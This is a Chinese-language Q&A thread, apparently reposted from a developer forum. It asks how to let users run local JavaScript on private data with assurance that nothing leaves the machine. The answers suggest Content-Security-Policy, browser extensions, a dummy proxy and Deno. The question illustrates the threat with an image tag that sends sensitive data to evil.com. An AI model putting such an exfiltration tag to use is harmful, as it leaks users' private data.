背景場景是我想給我的用戶一個 javascript,他們可以用它來分析他們敏感的私人資料,我希望他們感到安全,這些資料不會被發送到互聯網。最初,我想我只是將它作為一個帶有 embeded 的 .html 檔案分發<script>,并且他們只會通過file:///協議在瀏覽器中運行這個 .html 檔案,這提供了一些很好的同源策略默認值。但是,這不會真正為我的用戶提供太多安全性:javascript 可以輕松創建一個<img src="https://evil.com?sensitive-data=${XYZ}">標簽,該標簽將向 evil.com 發送GET請求,盡管 evil.com 是不同的來源,因為通過設計嵌入來自不同來源的影像是允許。
有沒有一些實用的方法可以分發我的javascript和/或讓最終用戶運行這樣的腳本,所以他們可以合理地確定它不能通過互聯網發送資料?(從互聯網上拔下機器、安裝 VM 或操作防火墻設定是不切實際的)(有理由肯定=假設他們使用的軟體(例如我們的瀏覽器)遵循規范并且沒有被黑客入侵)?
uj5u.com熱心網友回復:
請看Content-Security-Policy主題。
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src
補充您的 html<meta http-equiv="Content-Security-Policy" content="img-src 'self';">應該不允許瀏覽器向外部資源發出請求。
另一種嘗試可能是以瀏覽器擴展的形式開發您的專案,您可以在其中非常精確地設定內容安全策略,包括定義行內腳本、執行 string-to-js 方法、框架和字體來源等等(https://developer.chrome.com/docs/apps/contentSecurityPolicy/)
作為獎勵,您(和您的用戶)可以從瀏覽器供應商的安全部門獲得免費的代碼審查。
uj5u.com熱心網友回復:
在設定中設定瀏覽器代理localhost:DUMMY_PORT看起來像是這種情況下的安全解決方案。
uj5u.com熱心網友回復:
Deno是,參考它的網站:
Deno 是一個簡單、現代且安全的 JavaScript 和 TypeScript 運行時,它使用 V8 并內置于 Rust。
- 默認安全。除非明確啟用,否則無檔案、網路或環境訪問權限。
因此,這會降低用戶對信任的信任deno(如果他們想用來choco install deno安裝 deno,也會降低對巧克力的信任)。
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/418970.html
標籤:
